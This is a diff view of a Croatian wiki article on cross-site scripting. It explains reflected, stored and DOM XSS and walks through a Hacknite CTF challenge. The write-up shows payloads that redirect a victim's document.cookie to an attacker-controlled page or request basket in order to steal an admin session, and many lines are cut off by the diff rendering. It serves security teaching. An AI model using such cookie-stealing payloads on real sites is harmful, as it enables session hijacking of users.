xss_napadi
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| xss_napadi [2023/11/20 07:31] – zrinka | xss_napadi [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| ====XSS napadi==== | ====XSS napadi==== | ||
| - | **XSS (Cross-site scripting)** | + | **XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\ |
| - | Funkcionira | + | Funkcionira |
| JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu | JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu | ||
| nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u | nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u | ||
| - | kojemu se traži korisnički unos potencijalno je ranjiv ako nema dobre procedure validacije i pročišćavanja unosa. \\ | + | kojemu se traži korisnički unos potencijalno je ranjiv ako nema dobre procedure validacije i pročišćavanja unosa. |
| - | Budući da meta ovih napada su uvijek stranice kojima korisnici vjeruju, krajnji korisnik najčešće ne može nikako znati da je skripta koju se sprema izvršiti maliciozna. Dodatno, povjerljivim stranicama korisnici rado dopuštaju pristup kolačićima, | + | |
| //Reflected XSS (Non-Persistent// | //Reflected XSS (Non-Persistent// | ||
| Line 24: | Line 23: | ||
| Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. | Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. | ||
| - | //Stored XSS (Persistent, | + | //Stored XSS (Persistent, |
| nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za | nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za | ||
| korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti | korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti | ||
| - | ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica | + | ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica |
| | | ||
| izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori | izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori | ||
| taj članak. | taj članak. | ||
| - | Zadnji je // | + | Zadnji je // |
| | | ||
| - | < | + | < |
| - | document.write(' | + | |
| </ | </ | ||
| ova će se skripta izvesti.\\ \\ | ova će se skripta izvesti.\\ \\ | ||
| - | **innerHTML** ne prihvaća < | + | //innerHTML// ne prihvaća < |
| - | < | + | < |
| - | element.innerHTML=' | + | |
| - | </ | + | |
| I ovaj će se alert izvesti.\\ \\ | I ovaj će se alert izvesti.\\ \\ | ||
| Ovaj se tip napada može kombinirati sa Stored i Reflected napadima jer također može koristiti URL parametre. Budući da se ova tri tipa mogu preklapati, uvedena je nova podjela - poslužiteljski i klijentski XSS.\\ | Ovaj se tip napada može kombinirati sa Stored i Reflected napadima jer također može koristiti URL parametre. Budući da se ova tri tipa mogu preklapati, uvedena je nova podjela - poslužiteljski i klijentski XSS.\\ | ||
| Line 57: | Line 53: | ||
| <div> $varUnsafe </ | <div> $varUnsafe </ | ||
| </ | </ | ||
| - | jer napadač može unijeti | + | jer napadač može unijeti |
| < | < | ||
| < | < | ||
| Line 79: | Line 75: | ||
| - | __PRIMJER__ -**Zadatak s Hacknite platforme - Korisni linkovi** | + | __PRIMJER__ - **Zadatak s Hacknite platforme - Pronađi svoju stranicu** |
| < | < | ||
| - | Kako bi olakšao učenje sebi i svojim prijateljima, | + | Mario je jako sretan sa svojom stranicom na kojoj se mogu izmjenjivati korisni linkovi, ali osjećao je |
| - | linkova. On i njegovi prijatelji si mogu slati linkove zanimljivih članaka, tutoriala ili slično. | + | da nešto nedostaje. Zato je kasnije dodao mogućnost pretraživanja korisnih linkova, kako bi netko mogao |
| - | + | lakše | |
| - | Iako vjeruje svojim prijateljima, | + | vidjeti kako je to napravio. |
| - | Mario se ulogira | + | Budući da je siguran u svoju stranicu, |
| - | što ode na njega i provjeri na koju stranicu link vodi. To ipak može potrajati nekoliko sekundi, | + | kako bi im lakše mogao pristupiti. Mario je nastavio |
| - | jer Mario voli detaljnije proučiti stranicu na kojoj se nalazi. | + | nije time napravio nikakav propust. |
| - | + | Ako i ti želiš koristiti stranicu, sve što moraš napraviti | |
| - | Početkom nove akademske godine, odlučio | + | moći pretraživati |
| - | Mario ti je odlučio dati pristup stranici. Možeš se registrirati, | + | |
| - | Osim toga, odlučio ti je dati i source kod stranice na kojoj provjerava linkove tako da bi mogao vidjeti | + | |
| - | na koji on to točno radi. | + | |
| Flag je u formatu CTF2021[brojevi] | Flag je u formatu CTF2021[brojevi] | ||
| - | http:// | + | http:// |
| </ | </ | ||
| - | U prilogu se nalazi | + | U prilogu se nalazi |
| - | Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon što su napravimo, došli smo do stranice gdje možemo odabrati osobu i link koji joj šaljemo. Ovdje se isplati ispitati XSS ranjivost | + | |
| - | Prvo ćemo napraviti svoju web stranicu sa IP adresom | + | Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon registracije vidimo tražilicu linkova i stranicu za slanje linkova. Primjećujemo mjesta za korisnički input koja, ako nemaju dobro riješeno pročišćavanje unosa, mogu biti potencijalno ranjiva. \\ |
| + | Testirajmo postoji li ranjivost | ||
| + | < | ||
| + | Vidimo | ||
| + | Iskoristit | ||
| + | |||
| + | {{ : | ||
| + | |||
| + | | ||
| + | < | ||
| + | kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica | ||
| + | |||
| + | {{ : | ||
| + | |||
| + | Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. Otiđimo sad na podstranicu koja određenoj osobi šalje link te pošaljimo adminu sljedeće: | ||
| < | < | ||
| - | [javascript] document.location=" | + | http://chal.platforma.hacknite.hr:10011/ |
| - | </ | + | |
| - | Budući da Marijeva stranica ne radi provjeru predanih linkova, | + | |
| - | < | + | |
| - | http:// | + | |
| </ | </ | ||
| - | Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na ip_zlonamjerne_stranice i opet smo kao c parametar unijeli document.cookie. Za razumijevanje linka važni su ovi znakovi: \\ | ||
| - | %3C < \\ | ||
| - | %3E > \\ | ||
| - | %3D = \\ | ||
| - | %22 " \\ | ||
| - | %3A : \\ | ||
| - | %3F ? \\ | ||
| - | %2F / \\ | ||
| - | %3B ; \\ | ||
| - | Kad prevedemo link na taj način, uočit ćemo da je isti kao onaj koji smo na početku upisali u svoju zlonamjernu stranicu. Ova naredba unutar < | ||
| + | {{ : | ||
| + | |||
| + | Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. Posebni znakovi u linku koji šaljemo su URL-encodani: | ||
| + | ^ Kod ^ Značenje znaka ^ | ||
| + | |%3C |< | | ||
| + | |%3E |> | | ||
| + | |%3D |= | | ||
| + | |%22 |" | | ||
| + | |%3A |: | | ||
| + | |%3F |? | | ||
| + | |%2F |/ | | ||
| + | |%3B |; | | ||
| + | |||
| + | Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag: | ||
| + | |||
| + | {{ : | ||
| + | |||
| + | Flag je URL-encoded, | ||
| + | ^ Kod ^ Značenje znaka ^ | ||
| + | |%5B |[ | | ||
| + | |%5D |] | | ||
| - | Izvori | + | ===Izvori=== |
| [1]https:// | [1]https:// | ||
| [2]https:// | [2]https:// | ||
| [3]https:// | [3]https:// | ||
| - | [4] https:// | + | [4]https:// |
| + | [5]https:// | ||
| + | [6]https:// | ||
xss_napadi.1700465516.txt.gz · Last modified: 2025/12/01 11:40 (external edit)